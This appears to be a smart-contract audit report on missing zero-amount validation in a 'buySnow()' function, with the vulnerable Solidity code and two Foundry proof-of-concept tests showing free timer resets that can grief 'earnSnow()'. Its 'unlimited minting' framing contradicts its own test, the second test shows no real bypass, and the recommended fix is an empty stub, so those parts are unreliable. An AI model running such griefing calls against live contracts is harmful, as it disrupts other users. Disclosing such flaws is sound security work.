Zero Amount Bypass and Unlimited Minting Attack Vector

The `buySnow()` function contains a critical input validation vulnerability that allows users to bypass payment requirements and potentially execute denial-of-service attacks. The function fails to validate that the `amount` parameter is greater than zero, creating multiple attack vectors:

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1. Zero Amount Bypass: Users can call `buySnow(0)` with zero ETH to trigger timer manipulation without payment

2. Free Timer Reset: Attackers can reset `s_earnTimer` without purchasing any tokens

3. Gas-Efficient DoS: Enables low-cost denial-of-service attacks against `earnSnow()` functionality

4. Unlimited Function Calls: No rate limiting or amount restrictions allow spam attacks

The vulnerability stems from:

- Missing `require(amount > 0)` validation

- No maximum limit on the `amount` parameter

- Logic flaw allowing zero-value operations to succeed

- Lack of input sanitization before critical operations

//@audit Missing Input Validation

// No maximum limit on amount parameter in buySnow()

// No validation that amount > 0

// Could lead to free minting or DOS attacks

function buySnow(uint256 amount) external payable canFarmSnow {

if (msg.value == (s_buyFee * amount)) {

_mint(msg.sender, amount);

} else {

i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));

_mint(msg.sender, amount); // state change after external call

}

s_earnTimer = block.timestamp;

​

emit SnowBought(msg.sender, amount);

}

Anyone can call `buySnow(0)` repeatedly since there's no restriction on `amount > 0`.

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The function still:

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- Updates `s_earnTimer`

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- Emits an event

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- Consumes gas

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- While it doesn't mint tokens or drain funds, it contaminates the earn timer, clutters logs, and wastes computation, which could:

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- Block or grief legitimate users using earnSnow()

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- Be spammed by bots

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- Very cheap to execute. Easy to automate. Likely to be exploited by a malicious actor or even a curious user.

This vulnerability creates several severe attack vectors:

1. Zero-Cost Timer Manipulation:

- Attackers can call `buySnow(0)` with `msg.value = 0` to reset `s_earnTimer`

- Bypasses the need to pay fees for timer contamination attacks

2. Enhanced Denial-of-Service:

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- Combines with Timer Contamination vulnerability for more efficient attacks

- Attackers can spam `buySnow(0)` calls to maintain permanent DoS

- Significantly reduces the economic barrier to sustained attacks

run

forge `test --match-test testFreeMintingWithZeroAmount -vvv`

and `forge test --match-test testWETHPaymentBypassesETHPath -vvv` with test in `TestSnow.t.sol`

function testFreeMintingWithZeroAmount() public {

vm.startPrank(jerry);

​

// Approve max amount to avoid allowance error

weth.approve(address(snow), type(uint256).max);

​

// Call buySnow with zero amount, expecting free mint

uint256 balanceBefore = snow.balanceOf(jerry);

snow.buySnow(0); // Should revert in secure contracts, but will succeed here

uint256 balanceAfter = snow.balanceOf(jerry);

​

assertEq(balanceAfter - balanceBefore, 0); // Free call went through (no cost, no mint)

vm.stopPrank();

}

​

function testWETHPaymentBypassesETHPath() public {

vm.startPrank(jerry);

​

// Mint excessive amount of WETH to jerry

weth.mint(jerry, FEE * 1_000);

​

// Approve WETH transfer

weth.approve(address(snow), type(uint256).max);

​

// Call buySnow() with no ETH (msg.value = 0), using WETH path

uint256 snowBefore = snow.balanceOf(jerry);

snow.buySnow(1); // No msg.value sent, only WETH path taken

uint256 snowAfter = snow.balanceOf(jerry);

​

assertEq(snowAfter - snowBefore, 1); // Minted successfully with WETH

​

vm.stopPrank();

}

While not directly stealing funds, this vulnerability significantly enhances the effectiveness of other attacks (particularly Timer Contamination) by reducing attack costs by over 90%. It transforms expensive attacks into nearly free operations, making protocol disruption accessible to any malicious actor with minimal resources

i so recommed Input Validation implementation

function buySnow(uint256 amount) external payable canFarmSnow {

// Rest of function logic...

}